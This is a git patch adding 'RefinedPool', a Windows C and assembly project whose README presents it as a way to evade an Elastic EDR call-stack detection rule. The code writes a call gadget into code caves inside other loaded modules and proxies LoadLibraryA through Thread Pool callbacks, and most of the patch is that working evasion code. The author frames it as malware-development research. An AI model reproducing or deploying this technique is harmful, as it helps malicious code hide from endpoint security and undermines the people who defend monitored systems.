From fb9f3055655422533b1660ce1fee6149caa7d54f Mon Sep 17 00:00:00 2001
From: Vithor <124220594+Vith0r@users.noreply.github.com>
Date: Fri, 20 Feb 2026 02:50:23 -0300
Subject: [PATCH] Add files via upload
---
README.md | 102 +++++++++++
RefinedPool.sln | 31 ++++
RefinedPool/RefinedPool.vcxproj | 149 ++++++++++++++++
RefinedPool/RefinedPool.vcxproj.filters | 41 +++++
RefinedPool/RefinedPool.vcxproj.user | 4 +
RefinedPool/gadget.c | 226 ++++++++++++++++++++++++
RefinedPool/gadget.h | 150 ++++++++++++++++
RefinedPool/loadlib.c | 66 +++++++
RefinedPool/loadlib.h | 14 ++
RefinedPool/main.c | 25 +++
RefinedPool/workcallback.asm | 23 +++
11 files changed, 831 insertions(+)
create mode 100644 README.md
create mode 100644 RefinedPool.sln
create mode 100644 RefinedPool/RefinedPool.vcxproj
create mode 100644 RefinedPool/RefinedPool.vcxproj.filters
create mode 100644 RefinedPool/RefinedPool.vcxproj.user
create mode 100644 RefinedPool/gadget.c
create mode 100644 RefinedPool/gadget.h
create mode 100644 RefinedPool/loadlib.c
create mode 100644 RefinedPool/loadlib.h
create mode 100644 RefinedPool/main.c
create mode 100644 RefinedPool/workcallback.asm
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..878f639
--- /dev/null
+++ b/README.md
@@ -0,0 +1,102 @@
+# RefinedPool
+
+**Evading Elastic EDR call stack signatures through dynamic code cave injection**
+
+RefinedPool is an enhancement of [LibTPLoadLib](https://github.com/AlmondOffSec/LibTPLoadLib) by [@AlmondOffSec](https://github.com/AlmondOffSec), which uses call gadgets to break the [call stack signature used by Elastic EDR](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) on proxying module loads via Windows Thread Pool API.
+
+### Original Technique
+
+The original **LibTPLoadLib** technique (detailed in [this blogpost](https://offsec.almond.consulting/evading-elastic-callstack-signatures.html)) works by:
+- Using Thread Pool callbacks to proxy `LoadLibraryA` calls
+- Leveraging a call gadget (`call r10; add rsp, 0x28; ret`) to remove the callback function from the call stack
+
+
+
+- This breaks Elastic's detection pattern that looks for suspicious call stacks when loading libraries
+
+**The original approach required:**
+- Loading a specific hardcoded DLL (`dsdmo_10.0.26100.1882.dll`) containing the gadget
+- The DLL had to be manually placed at `C:\dsdmo_10.0.26100.1882.dll`
+- This creates a circular dependency: loading a suspicious DLL to evade detection of loading DLLs
+
+## "Innovation"
+
+The need for external hardcoded DLLs was eliminated by implementing **dynamic code cave injection**.
+
+Instead of searching for pre-existing gadgets in hardcoded DLLs, RefinedPool:
+
+1. **Enumerates loaded modules** in the current process
+2. **Locates code caves** within executable sections, specifically:
+ - Searches inside existing function boundaries using the Exception Directory (`.pdata` / `RUNTIME_FUNCTION` table)
+ - Looks for continuous sequences of null bytes or INT3 instructions (`0xCC`)
+ - Ensures the cave is at least 10 bytes to fit the gadget
+3. **Writes the gadget dynamically** into the discovered code cave:
+ ```asm
+ 41 FF D2 ; call r10
+ 33 C0 ; xor eax, eax
+ 48 83 C4 28 ; add rsp, 0x28
+ C3 ; ret
+ ```
+4. **Uses the injected gadget** for the Thread Pool callback, just like the original technique
+
+### Advantages
+
+- **No external DLL dependencies**: Works with modules already loaded in memory
+- **Stealthier**: No suspicious DLL load operations that could trigger alerts
+- **More practical**: Doesn't require specific Windows versions or pre-staged files
+- **Dynamic adaptation**: Searches across multiple candidate modules automatically
+- **Function-aware**: Preferentially places gadgets within legitimate function boundaries for "better stealth"
+
+## Call Stack Result
+
+
+
+
+
+---
+
+### Module Exclusion List
+
+To avoid critical system modules, RefinedPool excludes:
+- `ntdll.dll`
+- `kernel32.dll`
+- `kernelbase.dll`
+
+## Methods
+
+The methods can be easily alternated in "loadlib.c".
+
+1. **WriteGadget** (primary method):
+ - Combines code cave detection with dynamic gadget injection
+ - Uses `FindCodeCaveInFunction` to locate suitable memory space
+ - Writes the 10-byte gadget sequence directly into discovered code caves
+ - Handles memory protection changes (VirtualProtect) automatically
+
+2. **FindCallGadget** (original method):
+ - Searches for pre-existing gadget patterns in loaded modules
+ - Scans candidate DLLs for the byte sequence: `41 FF D2 ... 48 83 C4 28 C3`
+ - Kept for compatibility and fallback scenarios
+ - Can be used as alternative when code cave injection is not desired
+
+## Credits & References
+
+### Original Work
+- **LibTPLoadLib** by [@AlmondOffSec](https://github.com/AlmondOffSec)
+ - Repository: https://github.com/AlmondOffSec/LibTPLoadLib
+ - Blog: https://offsec.almond.consulting/evading-elastic-callstack-signatures.html
+ - License: BSD 3-Clause License (see [tploadlib.c](https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c))
+
+### Inspiration & Research
+- [Elastic EDR detection rule](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) - The signature this technique bypasses
+- [@rasta-mouse's LibTP](https://github.com/rasta-mouse/LibTP) - Format inspiration for the original project
+- [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) - Shared library framework used in the original
+- [Carregamento por Proxy](https://vith0r.gitbook.io/public/malware-dev/posts/stack/carregamento-por-proxy) - My research on proxy loading techniques
+- [Return Address Spoofing](https://vith0r.gitbook.io/public/malware-dev/posts/stack/return-address-spoofing) - My research on call stack manipulation
+
+## License
+
+This project respects the original BSD 3-Clause License from LibTPLoadLib. See the copyright notice in `src_original/tploadlib.c` for the original license terms.
+
+## Acknowledgments
+
+Special thanks to [@AlmondOffSec](https://github.com/AlmondOffSec) / [@SAERXCIT](https://github.com/SAERXCIT) for the original research and implementation that made this enhancement possible.
diff --git a/RefinedPool.sln b/RefinedPool.sln
new file mode 100644
index 0000000..75f5945
--- /dev/null
+++ b/RefinedPool.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.14.36310.24 d17.14
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RefinedPool", "RefinedPool\RefinedPool.vcxproj", "{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.ActiveCfg = Debug|x64
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.Build.0 = Debug|x64
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.ActiveCfg = Debug|Win32
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.Build.0 = Debug|Win32
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.ActiveCfg = Release|x64
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.Build.0 = Release|x64
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.ActiveCfg = Release|Win32
+ {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {47C08E14-691A-4F6D-ADF0-BB00826E3884}
+ EndGlobalSection
+EndGlobal
diff --git a/RefinedPool/RefinedPool.vcxproj b/RefinedPool/RefinedPool.vcxproj
new file mode 100644
index 0000000..f1aae5b
--- /dev/null
+++ b/RefinedPool/RefinedPool.vcxproj
@@ -0,0 +1,149 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 17.0
+ Win32Proj
+ {3cb63983-93e8-4aca-82d1-ec1d1edc32e5}
+ RefinedPool
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ DO_GADGET=1
+;WIN32;
+_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ DO_GADGET=1
+;WIN32;
+_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+ Document
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/RefinedPool/RefinedPool.vcxproj.filters b/RefinedPool/RefinedPool.vcxproj.filters
new file mode 100644
index 0000000..b9bbd09
--- /dev/null
+++ b/RefinedPool/RefinedPool.vcxproj.filters
@@ -0,0 +1,41 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Arquivos de Cabeçalho
+
+
+ Arquivos de Cabeçalho
+
+
+
+
+ Arquivos de Origem
+
+
+ Arquivos de Origem
+
+
+ Arquivos de Origem
+
+
+
+
+ Arquivos de Origem
+
+
+
\ No newline at end of file
diff --git a/RefinedPool/RefinedPool.vcxproj.user b/RefinedPool/RefinedPool.vcxproj.user
new file mode 100644
index 0000000..0f14913
--- /dev/null
+++ b/RefinedPool/RefinedPool.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/RefinedPool/gadget.c b/RefinedPool/gadget.c
new file mode 100644
index 0000000..e4bc039
--- /dev/null
+++ b/RefinedPool/gadget.c
@@ -0,0 +1,226 @@
+#include "gadget.h"
+
+#pragma comment(lib, "kernel32.lib")
+
+PVOID FindGadgetInModule(HMODULE hModule) {
+ if (!hModule) return NULL;
+
+ PBYTE base = (PBYTE)hModule;
+
+ IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
+ if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
+
+ IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
+ if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
+
+ DWORD imageSize = nt->OptionalHeader.SizeOfImage;
+
+ for (DWORD i = 0; (i + 3 + GADGET_MAX_GAP + 5) < imageSize; i++) {
+
+ // 41 FF D2 = call r10
+ if (base[i] != 0x41) continue;
+ if (base[i + 1] != 0xFF) continue;
+ if (base[i + 2] != 0xD2) continue;
+
+ for (int gap = 0; gap < GADGET_MAX_GAP; gap++) {
+ DWORD j = i + 3 + gap;
+ if ((j + 4) >= imageSize) break;
+
+ // 48 83 C4 28 C3 = add rsp,28h / ret
+ if (base[j] == 0x48 &&
+ base[j + 1] == 0x83 &&
+ base[j + 2] == 0xC4 &&
+ base[j + 3] == 0x28 &&
+ base[j + 4] == 0xC3)
+ {
+ return (PVOID)&base[i];
+ }
+ }
+ }
+
+ return NULL;
+}
+
+PVOID FindCallGadget(HMODULE* phGadgetModule) {
+ if (phGadgetModule) *phGadgetModule = NULL;
+
+ printf("[*] Buscando gadget em DLLs candidatas...\n");
+
+ for (int i = 0; GADGET_CANDIDATE_DLLS[i] != NULL; i++) {
+
+ HMODULE hMod = GetModuleHandleA(GADGET_CANDIDATE_DLLS[i]);
+
+ if (!hMod) {
+ printf("tentando carregar '%s' para buscar gadget...\n", GADGET_CANDIDATE_DLLS[i]);
+ hMod = LoadLibraryA(GADGET_CANDIDATE_DLLS[i]);
+ getchar();
+ }
+ else {
+ printf("'%s' ja carregada, buscando gadget...\n", GADGET_CANDIDATE_DLLS[i]);
+ }
+
+ if (!hMod) continue;
+
+ PVOID gadget = FindGadgetInModule(hMod);
+ if (gadget) {
+ if (phGadgetModule) *phGadgetModule = hMod;
+
+ #ifdef _DEBUG
+ printf("[+] Gadget encontrado em '%s' %p\n", GADGET_CANDIDATE_DLLS[i], gadget);
+ #endif
+
+ return gadget;
+ }
+ }
+
+ return NULL;
+}
+
+PVOID FindCodeCave(void) {
+ HMODULE hSelf = GetModuleHandle(NULL);
+
+ HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32,
+ GetCurrentProcessId());
+ if (hSnap == INVALID_HANDLE_VALUE) {
+ fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError());
+ return NULL;
+ }
+
+ MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) };
+ PVOID result = NULL;
+
+ if (!Module32FirstW(hSnap, &me)) goto cleanup;
+
+ do {
+
+ if (me.hModule == hSelf) {
+ continue;
+ }
+
+ char nameA[MAX_PATH];
+ WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL);
+
+ char* name = strrchr(nameA, '\\');
+ name = name ? name + 1 : nameA;
+
+ if (IsExcluded(name)) {
+ printf("[~] Pulando modulo excluido: %s\n", name);
+ continue;
+ }
+
+ printf("[*] Verificando: %s (base: %p)\n", name, (void*)me.hModule);
+
+ PVOID cave = FindCodeCaveInModule(me.hModule);
+ if (cave) {
+ printf("[+] Code cave encontrado em: %s %p\n", name, cave);
+ result = cave;
+ break;
+ }
+
+ } while (Module32NextW(hSnap, &me));
+
+cleanup:
+ CloseHandle(hSnap);
+ return result;
+}
+
+PVOID WriteGadget(HMODULE* phModule) {
+ printf("[*] Buscando code cave de %d bytes dentro de funcao...\n", CAVE_SIZE);
+
+ // Percorre modulos carregados buscando um cave dentro de uma RUNTIME_FUNCTION
+ HMODULE hSelf = GetModuleHandle(NULL);
+ HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32,
+ GetCurrentProcessId());
+ if (hSnap == INVALID_HANDLE_VALUE) {
+ fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError());
+ return NULL;
+ }
+
+ MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) };
+ PVOID cave = NULL;
+ HMODULE hFoundMod = NULL;
+
+ if (!Module32FirstW(hSnap, &me)) { CloseHandle(hSnap); return NULL; }
+
+ do {
+ if (me.hModule == hSelf) continue;
+
+ char nameA[MAX_PATH];
+ WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL);
+ char* name = strrchr(nameA, '\\');
+ name = name ? name + 1 : nameA;
+
+ if (IsExcluded(name)) continue;
+
+ printf("[*] Verificando funcoes em: %s\n", name);
+
+ cave = FindCodeCaveInFunction(me.hModule);
+ if (cave) {
+ hFoundMod = me.hModule;
+ printf("[+] Code cave encontrado em: %s %p\n", name, cave);
+ break;
+ }
+ } while (Module32NextW(hSnap, &me));
+
+ CloseHandle(hSnap);
+
+ if (!cave) {
+ printf("[-] Nenhum code cave em funcao existente encontrado.\n");
+ return NULL;
+ }
+
+ if (phModule) *phModule = hFoundMod;
+
+ DWORD oldProtect;
+ if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) {
+ fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError());
+ return NULL;
+ }
+
+ memcpy(cave, Gadget, CAVE_SIZE);
+
+ VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect);
+
+ printf("[+] Gadget escrito em: %p\n", cave);
+ return cave;
+}
+
+/*
+PVOID WriteGadget(HMODULE* phModule) {
+ PVOID result = NULL;
+ printf("[*] Buscando code cave de %d bytes...\n", CAVE_SIZE);
+
+ PVOID cave = FindCodeCave();
+
+ if (!cave) {
+ printf("[-] Nenhum code cave encontrado.\n");
+ return NULL;
+ }
+
+ printf("[+] Code cave encontrado em: %p\n", cave);
+
+ if (phModule) {
+ MEMORY_BASIC_INFORMATION mbi;
+ if (VirtualQuery(cave, &mbi, sizeof(mbi))) {
+ *phModule = (HMODULE)mbi.AllocationBase;
+ }
+ else {
+ *phModule = NULL;
+ }
+ }
+
+ DWORD oldProtect;
+ if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) {
+ fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError());
+ return NULL;
+ }
+
+ memcpy(cave, Gadget, CAVE_SIZE);
+
+ VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect);
+
+ printf("[+] Gadget escrito em %p\n", cave);
+
+ return cave;
+}
+*/
\ No newline at end of file
diff --git a/RefinedPool/gadget.h b/RefinedPool/gadget.h
new file mode 100644
index 0000000..97e6e64
--- /dev/null
+++ b/RefinedPool/gadget.h
@@ -0,0 +1,150 @@
+#pragma once
+#include
+#include
+#include
+#include
+#include
+
+#define GADGET_MAX_GAP 20
+#define CAVE_SIZE 10
+
+static const char* GADGET_CANDIDATE_DLLS[] = {
+ "C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\nv_dispi.inf_amd64_20ae8f14a487d5db\\nvwgf2umx.dll",
+ "nvwgf2umx.dll",
+ NULL
+};
+
+static const BYTE Gadget[CAVE_SIZE] = {
+ 0x41, 0xFF, 0xD2, // call r10
+ 0x33, 0xC0, // xor eax, eax
+ 0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
+ 0xC3 // ret
+};
+
+static const char* EXCLUDED_MODULES[] = {
+ "ntdll.dll",
+ "kernel32.dll",
+ "kernelbase.dll",
+ "user32.dll",
+ "windhawk.dll",
+ "win32u.dll",
+ NULL
+};
+
+static BOOL IsExcluded(const char* modName) {
+ char lower[MAX_PATH];
+ int i = 0;
+ while (modName[i] && i < MAX_PATH - 1) {
+ lower[i] = (char)tolower((unsigned char)modName[i]);
+ i++;
+ }
+ lower[i] = '\0';
+
+ for (int j = 0; EXCLUDED_MODULES[j] != NULL; j++) {
+ if (strcmp(lower, EXCLUDED_MODULES[j]) == 0)
+ return TRUE;
+ }
+ return FALSE;
+}
+
+static PVOID FindCodeCaveInModule(HMODULE hModule) {
+ if (!hModule) return NULL;
+
+ PBYTE base = (PBYTE)hModule;
+
+ IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
+ if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
+
+ IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
+ if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
+
+ WORD numSections = nt->FileHeader.NumberOfSections;
+ IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt);
+
+ for (WORD s = 0; s < numSections; s++, section++) {
+
+ if (!(section->Characteristics & IMAGE_SCN_MEM_EXECUTE))
+ continue;
+
+ DWORD rva = section->VirtualAddress;
+ DWORD size = section->Misc.VirtualSize;
+
+ if (size < CAVE_SIZE) continue;
+
+ PBYTE start = base + rva;
+ PBYTE end = start + size - CAVE_SIZE;
+
+ for (PBYTE p = start; p < end; p++) {
+
+ if (*p != 0x00 && *p != 0xCC)
+ continue;
+
+ BYTE fill = *p;
+ BOOL ok = TRUE;
+
+ for (int i = 1; i < CAVE_SIZE; i++) {
+ if (p[i] != fill) { ok = FALSE; break; }
+ }
+
+ if (ok) return (PVOID)p;
+ }
+ }
+
+ return NULL;
+}
+
+static PVOID FindCodeCaveInFunction(HMODULE hModule) {
+ if (!hModule) return NULL;
+
+ PBYTE base = (PBYTE)hModule;
+
+ IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
+ if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
+
+ IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
+ if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
+
+ // localiza a tabela .pdata (exception directory)
+ DWORD excRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
+ DWORD excSize = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
+
+ if (!excRva || !excSize) return NULL;
+
+ RUNTIME_FUNCTION* rtTable = (RUNTIME_FUNCTION*)(base + excRva);
+ DWORD count = excSize / sizeof(RUNTIME_FUNCTION);
+
+ for (DWORD f = 0; f < count; f++) {
+ DWORD funcBegin = rtTable[f].BeginAddress;
+ DWORD funcEnd = rtTable[f].EndAddress;
+ DWORD funcSize = funcEnd - funcBegin;
+
+ if (funcSize < CAVE_SIZE + 16) continue;
+
+ PBYTE start = base + funcEnd - CAVE_SIZE;
+ PBYTE end = base + funcBegin + 16; // nao sobrescrever o inicio
+
+ for (PBYTE p = start; p > end; p--) {
+ if (*p != 0x00 && *p != 0xCC) continue;
+
+ BYTE fill = *p;
+ BOOL ok = TRUE;
+
+ for (int i = 1; i < CAVE_SIZE; i++) {
+ if (p[i] != fill) { ok = FALSE; break; }
+ }
+
+ if (ok) {
+ printf("[+] Code cave em funcao existente: RVA 0x%lX-0x%lX, cave: %p\n",
+ funcBegin, funcEnd, (void*)p);
+ return (PVOID)p;
+ }
+ }
+ }
+
+ return NULL;
+}
+
+PVOID FindGadgetInModule(HMODULE hModule);
+PVOID FindCallGadget(HMODULE* phGadgetModule);
+PVOID FindCodeCave(void);
+PVOID WriteGadget(HMODULE* phModule);
\ No newline at end of file
diff --git a/RefinedPool/loadlib.c b/RefinedPool/loadlib.c
new file mode 100644
index 0000000..ab5fcfe
--- /dev/null
+++ b/RefinedPool/loadlib.c
@@ -0,0 +1,66 @@
+#include "loadlib.h"
+#include "gadget.h"
+
+#pragma comment(lib, "kernel32.lib")
+#pragma comment(lib, "ntdll.lib")
+
+NTSYSAPI NTSTATUS NTAPI TpAllocWork(PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
+NTSYSAPI VOID NTAPI TpPostWork(PTP_WORK);
+NTSYSAPI VOID NTAPI TpWaitForWork(PTP_WORK, BOOL);
+NTSYSAPI VOID NTAPI TpReleaseWork(PTP_WORK);
+
+typedef struct _TP_LOADLIB_PARAMS {
+ LPSTR LibraryName; // rcx
+ PVOID pLoadLibraryAddress; // r10
+ PVOID pGadgetAddress; // r11
+} TP_LOADLIB_PARAMS;
+
+extern void WorkCallback_Gadget(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK);
+extern void WorkCallback_Direct(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK);
+
+HMODULE LoadLib(LPCSTR libName) {
+
+ PTP_WORK workItem = NULL;
+ TP_LOADLIB_PARAMS params = { 0 };
+ PTP_WORK_CALLBACK callback = NULL;
+
+ params.LibraryName = (LPSTR)libName;
+ params.pLoadLibraryAddress = (PVOID)LoadLibraryA;
+
+#if DO_GADGET == 1
+
+ // ================================================================== //
+ // Entao, quando o Thread Pool executar o WorkCallback e ele fizer //
+ // "jmp r11" -> gadget -> "call r10" -> LoadLibraryA, //
+ // o call stack mostrara: //
+ // kernelbase.LoadLibraryA+8D //
+ // nvwgf2umx.dll+ //
+ // ntdll.TppWorkpExecuteCallback //
+ // ... //
+ // ================================================================== //
+
+ HMODULE hGadgetMod = NULL;
+ //params.pGadgetAddress = FindCallGadget(&hGadgetMod);
+ params.pGadgetAddress = WriteGadget(&hGadgetMod);
+
+ printf("[*] Gadget address: %p (module: %p)\n", params.pGadgetAddress, hGadgetMod);
+
+ if (!params.pGadgetAddress) {
+ OutputDebugStringA("[LoadLib] ERRO: nenhum gadget encontrado.\n");
+ return NULL;
+ }
+
+ callback = (PTP_WORK_CALLBACK)WorkCallback_Gadget;
+
+#else
+ /* sem gadget */
+ callback = (PTP_WORK_CALLBACK)WorkCallback_Direct;
+#endif
+
+ TpAllocWork(&workItem, callback, ¶ms, NULL);
+ TpPostWork(workItem);
+ TpWaitForWork(workItem, FALSE);
+ TpReleaseWork(workItem);
+
+ return GetModuleHandleA(libName);
+}
\ No newline at end of file
diff --git a/RefinedPool/loadlib.h b/RefinedPool/loadlib.h
new file mode 100644
index 0000000..ce767ce
--- /dev/null
+++ b/RefinedPool/loadlib.h
@@ -0,0 +1,14 @@
+/*
+ * RefinedPool - Enhanced LibTPLoadLib with dynamic code cave injection
+ *
+ * Based on LibTPLoadLib by @AlmondOffSec (BSD 3-Clause License)
+ * Enhancement by Vith0r - 2026
+ *
+ * This project respects the original BSD 3-Clause License.
+ * See: https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c
+ */
+
+#pragma once
+#include
+
+HMODULE LoadLib(LPCSTR libName);
\ No newline at end of file
diff --git a/RefinedPool/main.c b/RefinedPool/main.c
new file mode 100644
index 0000000..161011e
--- /dev/null
+++ b/RefinedPool/main.c
@@ -0,0 +1,25 @@
+#include
+#include "loadlib.h"
+
+#pragma comment(lib, "psapi.lib")
+
+int main(void) {
+
+ const char* libName = "wininet";
+
+ printf("\n[*] Carregando '%s' ...", libName);
+ getchar();
+
+ HMODULE hMod = LoadLib(libName);
+
+ if (hMod) {
+ printf("[+] '%s' carregada com sucesso: 0x%p\n", libName, (void*)hMod);
+ }
+ else {
+ printf("[-] Falha ao carregar '%s'\n", libName);
+ }
+
+ printf("\nPressione Enter para sair...\n");
+ getchar();
+ return 0;
+}
\ No newline at end of file
diff --git a/RefinedPool/workcallback.asm b/RefinedPool/workcallback.asm
new file mode 100644
index 0000000..e0ac9f7
--- /dev/null
+++ b/RefinedPool/workcallback.asm
@@ -0,0 +1,23 @@
+.code
+
+; arg1 = RCX arg2 = RDX arg3 = R8 arg4 = R9
+
+WorkCallback_Gadget PROC
+ sub rsp, 28h ; Compensa o "add rsp,28h" do epilogue do gadget
+ mov r10, QWORD PTR [rdx + 08h] ; r10 = pLoadLibraryAddress (chamado pelo gadget via "call r10")
+ mov r11, QWORD PTR [rdx + 10h] ; r11 = pGadgetAddress
+ mov rcx, QWORD PTR [rdx] ; rcx = LibraryName (1o argumento de LoadLibraryA)
+ xor rdx, rdx ; rdx = NULL (2o arg - hFile para LoadLibraryExA)
+ xor r8, r8 ; r8 = NULL (3o arg - dwFlags para LoadLibraryExA)
+ jmp r11
+WorkCallback_Gadget ENDP
+
+WorkCallback_Direct PROC
+ mov rcx, QWORD PTR [rdx] ; LibraryName
+ mov rax, QWORD PTR [rdx + 08h] ; pLoadLibraryAddress
+ xor rdx, rdx ; NULL
+ xor r8, r8 ; NULL
+ jmp rax
+WorkCallback_Direct ENDP
+
+END
\ No newline at end of file